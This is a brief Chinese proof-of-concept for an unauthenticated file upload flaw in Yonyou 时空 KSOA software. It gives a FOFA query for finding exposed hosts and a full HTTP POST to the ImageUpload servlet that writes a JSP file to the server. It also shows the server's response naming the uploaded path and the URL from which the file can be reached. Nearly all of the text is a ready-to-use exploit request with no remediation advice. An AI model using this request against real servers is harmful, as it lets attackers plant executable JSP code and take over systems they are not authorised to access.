FIDA用友时空KSOA软件前台文件上传漏洞

app="用友-时空KSOA"


```
POST /servlet/com.sksoft.bill.ImageUpload?filepath=/&filename=111.jsp HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 25

<% out.println("111"); %>
```

```
1  HTTP/1.1 200 OK
2  Server: Apache-Coyote/1.1
3  Pragma: no-cache
4  Expires: 0
5  Content-Type: text/xml;charset=GBK
6  Vary: Accept-Encoding
7  Date: Fri, 19 Aug 2022 06:13:19 GMT
8  Content-Length: 30
9
10 <root>
     /pictures/111.jsp
   </root>
```

访问'http://xxxx/pictures/111.jsp'